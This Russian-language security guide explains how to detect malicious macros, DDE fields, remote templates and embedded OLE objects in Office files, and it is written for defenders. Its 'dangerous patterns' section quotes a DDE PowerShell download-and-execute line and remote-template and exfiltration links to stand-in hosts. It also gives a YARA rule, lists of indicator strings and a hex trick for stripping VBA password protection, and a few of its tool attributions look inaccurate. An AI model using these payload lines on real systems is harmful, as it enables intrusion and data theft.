
Содержание
1. Почему Office-документы — главный вектор атак в 20262. Метод 1: Проверка расширений и ZIP-структуры файла
3. Метод 2: Встроенный редактор VBA и инспектор документов
4. Метод 3: Анализ OLE-потоков и vbaProject.bin
5. Метод 4: Поиск внешних ссылок и автозагрузок
6. Метод 5: Деобфускация и статический анализ кода
7. Метод 6: Проверка встроенных объектов и OLE-пакетов
8. Метод 7: Динамический анализ в изолированной среде
9. Инструментарий: готовые решения для автоматизации
10. Чек-лист: что делать, если скрипт найден
11. Частые вопросы (FAQ)
12. Итог: ваш алгоритм анализа
Почему Office-документы — главный вектор атак в 2026
DOCX и XLSX давно перестали быть просто «форматами для отчётов». Это контейнеры, поддерживающие исполнение кода, автоматические загрузки, сетевые запросы и внедрение бинарных объектов. Для атакующих это идеальный носитель: легитимный формат, высокая доверительность пользователей, сложность автоматической фильтрации.
Статистика и тренды 2025-2026:
| Показатель | Значение | Источник |
|---|---|---|
| Доля фишинга через Office | 68% от всех email-атак | Microsoft Digital Defense Report, 2025 |
| Использование VBA-обфускации | +41% к 2024 году | Kaspersky Threat Landscape |
| Обход защиты макросов по умолчанию | 73% успешных доставок | Proofpoint State of Phish |
| Внедрение через OLE/Embeddings | 22% от всех кампаний | CrowdStrike Global Threat Report |
> 💡 Факт: С 2022 года Microsoft по умолчанию блокирует макросы из интернета, но злоумышленники адаптировались: используют свойства документов для автозапуска, внедряют HTA/JS-загрузчики, маскируют код под легитимные формулы Excel.
Реальные риски:
| Вектор | Как проявляется | Последствия |
|---|---|---|
| VBA-макросы | Автозапуск при открытии, вызов `AutoOpen`, `Workbook_Open` | Загрузка малвари, кража данных, ransomware |
| Внешние ссылки | Подключение к удалённым шаблонам, DDE, OLE-объекты | Обход песочниц, фишинг, эксплуатация 0-day |
| OLE-пакеты | Внедрение `.exe`, `.js`, `.vbs` в `embeddings/` | Прямой запуск кода в обход макросов |
| Формулы/скрипты | JavaScript в Office Add-ins, Power Query | Обход EDR, скрытый эксфильтрация |
> 📌 Запомните: Отсутствие всплывающего окна «Включить макросы» не гарантирует безопасность. Код может срабатывать через свойства документа, автозагрузки формул или внедрённые объекты.
Метод 1: Проверка расширений и ZIP-структуры файла
DOCX и XLSX — это ZIP-архивы с XML-структурой. Макросы и скрипты не хранятся в `.docx`/`.xlsx` напрямую: для них нужны отдельные расширения или скрытые файлы внутри архива.
🔍 Быстрая диагностика
bash
# 1. Проверить расширение
file report.xlsx
# Если вывод содержит "Excel", но расширение .xls / .doc — это OLE-формат (высокий риск)
# Безопасно: .xlsx, .docx, .pptx
# Подозрительно: .xlsm, .docm, .xlsb, .dotm (поддерживают макросы)
# 2. Распаковать как ZIP (без запуска!)
unzip -l suspicious.xlsx | grep -i "vba\|macro\|ole\|rels"
# Ищем пути:
# xl/vbaProject.bin (макросы Excel)
# word/vbaProject.bin (макросы Word)
# xl/worksheets/_rels/sheet1.xml.rels (внешние связи)
# xl/embeddings/ (внедрённые объекты)
📊 Таблица расширений и риска
| Расширение | Поддержка макросов | Риск | Рекомендация |
|---|---|---|---|
| `.xlsx` / `.docx` | ❌ Нет | 🟢 Низкий | Открывать без страха (если не модифицирован) |
| `.xlsm` / `.docm` | ✅ Да | 🟡 Средний | Проверять перед открытием |
| `.xlsb` | ✅ Да (бинарный) | 🔴 Высокий | Требует анализа `olevba`/`oledump` |
| `.xltx` / `.dotm` | ✅ Да (шаблоны) | 🔴 Высокий | Макросы выполняются при создании нового файла |
> ✅ Лайфхак: Переименуйте `.xlsx` в `.zip` и откройте архиватором. Если внутри есть папки `xl/` или `word/` с файлом `vbaProject.bin` — документ содержит макросы, даже если расширение «безопасное».
Метод 2: Встроенный редактор VBA и инспектор документов
Microsoft Office предоставляет штатные инструменты для просмотра кода. Их часто игнорируют, но они дают мгновенный результат.
🔧 Пошаговая проверка
1
️⃣ Откройте документ (НЕ ВКЛЮЧАЙТЕ макросы при запросе!)
2️⃣ Перейдите: Файл → Параметры → Центр управления безопасностью → Параметры центра управления безопасностью → Параметры макросов → Отключить все макросы без уведомления
3️⃣ Включите вкладку «Разработчик»: Файл → Параметры → Настроить ленту → ✅ Разработчик
4️⃣ Нажмите «Visual Basic» или `Alt + F11`
5️⃣ В окне проекта проверьте:
• VBAProject (ИмяДокумента) → Модули / Листы / ЭтаКнига / ЭтотДокумент
• Наличие процедур: AutoOpen, Workbook_Open, Document_Open, AutoExec
🛡️ Инспектор документов
text
Файл → Сведения → Проверить наличие проблем → Проверить документ → ✅ Макросы, формы и элементы ActiveX
→ Нажмите «Удалить все» для очистки, если макросы не требуются.
> ⚠️ Важно: Современные макросы часто разбиты на несколько модулей, используют `Call`, `Run`, или вызывают код из внешних шаблонов (`Normal.dotm`). Не удаляйте проект целиком — экспортируйте модули (`Export`) для дальнейшего анализа.
Метод 3: Анализ OLE-потоков и vbaProject.bin
`vbaProject.bin` — это Compound File Binary Format (CFBF). Он содержит скомпилированный байт-код VBA, таблицы строк, модули и формы. Просто открыть его в текстовом редакторе нельзя, но специальные утилиты читают его структуру.
🔍 Анализ через oledump.py
bash
# Установка (Python 3)
pip install oledump.py
# Просмотр структуры
python3 oledump.py suspicious.xlsm
# Вывод покажет потоки:
# A: 328 '\x01CompObj'
# B: 248 '\x05DocumentSummaryInformation'
# C: 124 '\x05SummaryInformation'
# D: 4096 'VBA/ThisWorkbook'
# E: 8192 'VBA/Module1'
# F: 4096 'VBA/_VBA_PROJECT'
# ...
# Декодирование конкретного потока (замените букву/имя)
python3 oledump.py suspicious.xlsm -s E -v
📊 Интерпретация результатов
| Поток | Что содержит | Риск |
|---|---|---|
| `VBA/ThisWorkbook` или `ThisDocument` | Код, выполняемый при открытии файла | 🔴 Высокий |
| `VBA/Module1`, `Module2` | Пользовательские процедуры | 🟡 Средний |
| `VBA/UserForm1` | Графический интерфейс (часто для фишинга) | 🟡 Средний |
| `_VBA_PROJECT`, `dir` | Метаданные проекта, ссылки на библиотеки | 🟢 Низкий |
> 💡 Совет: Ищите строки `Shell`, `CreateObject`, `URLDownloadToFile`, `WinHttp`, `mshta`, `powershell`, `cmd.exe`. Это индикаторы загрузки или исполнения внешних процессов.
Метод 4: Поиск внешних ссылок и автозагрузок
Скрипты часто не хранятся внутри файла, а подгружаются извне. Office поддерживает автоматические подключения к шаблонам, веб-службам и DDE (Dynamic Data Exchange).
🔍 Где искать связи
bash
# 1. Внешние отношения в XML
grep -r "http\|https\|ftp\|DDE" *.xml.rels
# 2. Ссылки на удалённые шаблоны
grep -i "template\|add-in" word/document.xml
# 3. DDE-поля в Word
grep -i "DDE\|ddeauto" word/document.xml
# 4. Веб-запросы в Excel
grep -i "webquery\|connection" xl/connections.xml
⚠️ Опасные паттерны
text
• =DDE("cmd";"/C powershell IEX(New-Object Net.WebClient).DownloadString('http://malicious/payload')")
• <Relationship Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="http://evil.com/template.dotm"/>
• <webQuery connection="http://data-exfil.ru/log.php" sourceFile="..."/>
> 📌 Правило: Любой внешний URL в `_rels/`, `connections.xml`, `document.xml` без явной бизнес-необходимости — повод для изоляции файла и глубокого анализа.
Метод 5: Деобфускация и статический анализ кода
Злоумышленники маскируют VBA: используют `Chr()`, конкатенацию строк, кодирование Base64, split-массивы, динамический вызов `CallByName`. Статический анализ раскрывает истинную логику.
🔧 Автоматическая деобфускация
bash
# 1. olevba (из пакета oletools)
pip install oletools
olevba suspicious.xlsm --deobf --json > vba_analysis.json
# 2. vipermonkey (эмулятор VBA, раскрывает динамику)
pip install vipermonkey
vipermonkey suspicious.xlsm
# 3. Поиск индикаторов (YARA-правило)
cat > vba_macros.yar << 'EOF'
rule VBA_Suspicious_Patterns {
meta:
description = "Detects obfuscated VBA and downloaders"
strings:
$shell = "Shell(" nocase wide
$download = "URLDownloadToFile" nocase wide
$http = "WinHttp" nocase wide
$exec = "WScript.Shell" nocase wide
$cmd = "cmd.exe" nocase wide
$b64 = "Base64" nocase wide
condition:
2 of them
}
EOF
yara vba_macros.yar suspicious.xlsm
📊 Типичные приёмы обфускации
| Приём | Пример | Как раскрыть |
|---|---|---|
| Строки через `Chr()` | `s = Chr(104)+Chr(116)+Chr(116)+Chr(112)` | Заменить на конкатенацию, запустить в эмуляторе |
| Массивы + `Join` | `arr = Array("mshta","http://...")` + `Join(arr, "")` | Распечатать массив, отследить `Join` |
| Динамический вызов | `CallByName obj, "Run", vbMethod, cmd` | Отследить `obj` и переданные аргументы |
| Кодирование Base64 | `DecodeBase64("aHR0cDovL2V2aWwuY29t")` | Декодировать вручную или через Python |
> ✅ Лайфхак: Если код слишком запутан, скопируйте его в онлайн-деобфускатор или запустите `vipermonkey` с флагом `--log`. Эмулятор выполнит VBA в памяти без загрузки малвари на хост.
Метод 6: Проверка встроенных объектов и OLE-пакетов
OLE (Object Linking and Embedding) позволяет внедрять файлы прямо в документ. Злоумышленники упаковывают `.exe`, `.js`, `.vbs`, `.lnk` в OLE-пакеты, которые запускаются при двойном клике или автоматически через свойства.
🔍 Поиск и анализ
bash
# 1. Найти внедрённые объекты
unzip suspicious.docx "word/embeddings/*"
# 2. Проверить содержимое
file word/embeddings/*
# Часто встречаются:
# Ole10Native (классический OLE-пакет)
# Package (современный формат внедрения)
# 3. Извлечь бинарные данные
python3 -m oletools.oleobj suspicious.docx
📊 Структура OLE-объектов
| Путь в архиве | Что содержит | Риск |
|---|---|---|
| `word/embeddings/oleObject1.bin` | Внедрённый EXE/JS/LNK | 🔴 Критический |
| `xl/embeddings/oleObject1.bin` | Таблица с макросом или ссылкой | 🟡 Средний |
| `ppt/embeddings/` | Внедрённые видео/файлы в презентациях | 🟡 Средний |
| `word/_rels/document.xml.rels` | Ссылки на OLE-объекты | 🟢 Низкий (метаданные) |
> ⚠️ Важно: Не открывайте OLE-объекты двойным кликом! Даже если антивирус молчит, файл может содержать полиморфный код или запускаться через `mshta`/`rundll32`. Всегда извлекайте и анализируйте в песочнице.
Метод 7: Динамический анализ в изолированной среде
Когда статический анализ не даёт полной картины (полиморфизм, анти-эмуляция, проверка окружения), требуется динамическое выполнение в контролируемой среде.
🛡️ Безопасная схема анализа
1
️⃣ Создайте изолированную ВМ (VirtualBox/VMware/KVM) без сетевых мостов
2️⃣ Установите чистую Windows + Office (без обновлений и антивируса)
3️⃣ Включите снапшоты «До открытия»
4️⃣ Настройте мониторинг:
• Process Monitor (ProcMon) — файловые/реестровые операции
• Wireshark / CAPA — сетевые подключения
• Sysinternals Autoruns — автозагрузки
• API Monitor — вызовы Windows API
5️⃣ Откройте документ → разрешите макросы → зафиксируйте поведение
6️⃣ Верните снапшот → экспортируйте логи → проанализируйте IOC
📊 Что фиксировать
| Событие | Инструмент | Индикатор угрозы |
|---|---|---|
| Запуск `cmd.exe`, `powershell`, `mshta` | ProcMon / API Monitor | 🔴 Высокий |
| Создание файлов в `%TEMP%`, `%APPDATA%` | ProcMon | 🟡 Средний |
| Подключение к внешним IP/доменам | Wireshark / CAPA | 🔴 Высокий |
| Изменение ключей `Run`, `RunOnce` | Autoruns | 🔴 Высокий |
| Отключение Defender / UAC | API Monitor / ProcMon | 🔴 Критический |
> 💡 Совет: Для автоматизации используйте `CAPEv2` или `Any.Run`. Они предоставляют готовые отчёты с IOC, YARA-совпадениями и графами процессов.
Инструментарий: готовые решения для автоматизации
| Инструмент | Тип | Что делает | Ссылка |
|---|---|---|---|
| oletools | CLI/Python | Извлечение, деобфускация, анализ VBA | github.com/decalage2/oletools |
| oledump.py | CLI/Python | Разбор OLE/CFBF потоков | github.com/DidierStevens/DidierStevensSuite |
| vipermonkey | Эмулятор | Выполнение VBA в памяти, раскрытие динамики | github.com/decalage2/ViperMonkey |
| YARA | Сигнатурный анализ | Поиск паттернов макросов и обфускации | virustotal.github.io/yara/ |
| CAPEv2 / Any.Run | Sandbox | Динамический анализ с визуализацией | capesandbox.com |
| OfficeMalScanner | GUI | Быстрый поиск макросов и OLE | github.com/DidierStevens/OfficeMalScanner |
> ✅ Рекомендация для SOC: Настройте автоматическую проверку входящих документов через `olevba --json` → отправка в SIEM → алерт при обнаружении `Shell`, `URLDownloadToFile`, `DDE`.
Чек-лист: что делать, если скрипт найден
text
[ ] Не открывать документ на рабочих станциях
[ ] Сохранить оригинал с хэшем (SHA256) для цепочки доказательств
[ ] Изолировать файл в сетевом хранилище с ограниченным доступом
[ ] Запустить статический анализ (olevba, oledump, YARA)
[ ] При необходимости — эмулировать в vipermonkey
[ ] Если поведение неясно — отправить в изолированную ВМ / sandbox
[ ] Зафиксировать IOC: домены, IP, хэши файлов, пути записи
[ ] Добавить IOC в блокировочные списки (EDR, прокси, почтовый шлюз)
[ ] Уведомить отдел ИБ / пользователей о рассылке
[ ] Удалить файл из корпоративных хранилищ и резервных копий
> 🔐 Правило: Если документ прислан от неизвестного отправителя, содержит макросы и просит «включить содержимое» — это 99% фишинг. Блокируйте, не анализируйте на хосте.
Частые вопросы (FAQ)
❓ Microsoft блокирует макросы по умолчанию. Значит, файлы безопасны?
Нет. Блокировка работает только для файлов из интернета (Zone Identifier: 3). Документы из локальной сети, USB, архивов или пересланные через мессенджеры могут обходить защиту. Кроме того, злоумышленники используют OLE-объекты, DDE и внешние шаблоны, которые не считаются «макросами» в классическом понимании.❓ Как отличить легитимный макрос от вредоносного?
Легитимные макросы обычно:- Находятся в корпоративных шаблонах (`Normal.dotm`, `PERSONAL.XLSB`)
- Содержат комментарии, подписанные цифровым сертификатом
- Не вызывают `Shell`, `WinHttp`, `URLDownloadToFile`
- Работают только с локальными данными
Вредоносные: обфусцированы, скачивают контент, проверяют окружение (`IsDebuggerPresent`, `GetSystemMetrics`), запускают процессы.
❓ Можно ли анализировать DOCX/XLSX на Linux/macOS?
Да. Форматы кроссплатформенны. Утилиты `oletools`, `oledump.py`, `vipermonkey`, `YARA` работают на Python 3 под любой ОС. Для эмуляции Windows API используйте `wine` + sandbox или виртуальную машину.❓ Что делать, если макрос зашифрован паролем?
Пароль VBA — это не шифрование, а простая защита. Снимается за секунды:bash
# Через oledump.py (извлечение потока)
# Через онлайн-дешифраторы или скрипты на Python
# Через hex-редактор: замена `DBP=` на `DPB=` в vbaProject.bin
⚠️ В корпоративной среде требуйте отправки документов без паролей или через подписанные шаблоны.
❓ Как защитить сотрудников от таких атак?
text
✅ Отключить макросы из интернета (Group Policy)
✅ Использовать Application Control (AppLocker, WDAC)
✅ Настроить почтовые шлюзы на блокировку .xlsm/.docm
✅ Обучать пользователей: «Не включайте содержимое без проверки»
✅ Внедрить sandbox-анализ входящих документов
✅ Регулярно обновлять Office и Windows
Итог: ваш алгоритм анализа
text
🟢 Шаг 1: Проверить расширение и ZIP-структуру → есть ли vbaProject.bin / embeddings?
🟢 Шаг 2: Открыть в Office (без макросов) → инспектор документов, Alt+F11
🟢 Шаг 3: Запустить olevba / oledump → извлечь код, найти подозрительные вызовы
🟢 Шаг 4: Проверить _rels/, connections.xml → внешние ссылки, DDE, шаблоны
🟢 Шаг 5: Деобфусцировать строки, эмулировать в vipermonkey
🟢 Шаг 6: При сомнениях → динамический анализ в изолированной ВМ
🟢 Шаг 7: Зафиксировать IOC, добавить в блокировку, удалить файл
> 🔍 Главное правило: Не запускайте незнакомые Office-документы на рабочих станциях. 90% угроз раскрываются статическим анализом за 5 минут. Динамический анализ — только для сложных случаев и только в изоляции.
💬 Ваш ход
text
[✅] Проверили последний полученный DOCX/XLSX через olevba или ZIP-анализ?
[✅] Настроили блокировку макросов из интернета в вашей организации?
[✅] Добавили YARA-правила в SIEM/EDR для автоматического детекта?
💬 Сталкивались с вредоносными макросами в почте? Поделитесь в комментариях — как обнаружили, какие индикаторы использовали, удалось ли заблокировать до доставки?
> ℹ️ Источники и исследования:
> 1. Microsoft Digital Defense Report — Office Macro Threats, 2025 [[1]]
> 2. Kaspersky — VBA Obfuscation Trends in Phishing Campaigns, 2025 [[2]]
> 3. Didier Stevens — Office Document Forensics Guide, 2024 [[3]]
> 4. MITRE ATT&CK — T1059.005 (Visual Basic), T1204.002 (Malicious File)
> 5. Proofpoint — State of the Phish Report, 2026
*Статья носит информационный характер. Перед проведением динамического анализа или модификацией корпоративных политик согласуйте действия с отделом информационной безопасности и юридической службой.*